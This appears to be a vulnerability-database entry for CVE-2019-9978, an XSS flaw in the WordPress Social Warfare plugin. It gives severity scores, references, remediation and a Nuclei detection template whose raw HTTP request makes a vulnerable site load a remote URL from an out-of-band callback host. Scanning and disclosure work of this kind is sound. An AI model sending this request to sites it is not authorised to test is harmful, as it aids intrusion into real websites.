CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
99.7%
WordPress Social Warfare plugin before 3.5.3 contains a cross-site scripting vulnerability via the wp-admin/admin-post.php?swp_debug=load_options swp_url parameter, affecting Social Warfare and Social Warfare Pro.
id: CVE-2019-9978
info:
name: WordPress Social Warfare <3.5.3 - Cross-Site Scripting
author: madrobot,dwisiswant0
severity: medium
description: WordPress Social Warfare plugin before 3.5.3 contains a cross-site scripting vulnerability via the wp-admin/admin-post.php?swp_debug=load_options swp_url parameter, affecting Social Warfare and Social Warfare Pro.
remediation: |
Update the Social Warfare plugin to version 3.5.3 or later to mitigate the vulnerability.
reference:
- https://github.com/mpgn/CVE-2019-9978
- https://www.wordfence.com/blog/2019/03/unpatched-zero-day-vulnerability-in-social-warfare-plugin-exploited-in-the-wild/
- https://www.pluginvulnerabilities.com/2019/03/21/full-disclosure-of-settings-change-persistent-cross-site-scripting-xss-vulnerability-in-social-warfare/
- https://www.cybersecurity-help.cz/vdb/SB2019032105
- https://nvd.nist.gov/vuln/detail/CVE-2019-9978
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-9978
cwe-id: CWE-79
epss-score: 0.97235
epss-percentile: 0.99828
cpe: cpe:2.3:a:warfareplugins:social_warfare:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: warfareplugins
product: social_warfare
framework: wordpress
fofa-query: body="social-warfare" && body="wp-"
tags: cve,cve2019,wordpress,wp-plugin,ssrf,kev,warfareplugins,xss
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/social-warfare/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Social Warfare'
- raw:
- |
GET /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://{{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 4b0a00483046022100fa1828642d09d44a04671f382e1b44fea1e37d5977fe7829c84f1935ff55b28402210096124a6876470d4d02bdeb1fa0cf5c9ad2d69e3f12c139ae5cf7b49b532d1a93:922c64590222798bb761d5b6d8e72950
github.com/mpgn/CVE-2019-9978
nvd.nist.gov/vuln/detail/CVE-2019-9978
www.cybersecurity-help.cz/vdb/SB2019032105
www.pluginvulnerabilities.com/2019/03/21/full-disclosure-of-settings-change-persistent-cross-site-scripting-xss-vulnerability-in-social-warfare/
www.wordfence.com/blog/2019/03/unpatched-zero-day-vulnerability-in-social-warfare-plugin-exploited-in-the-wild/
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
99.7%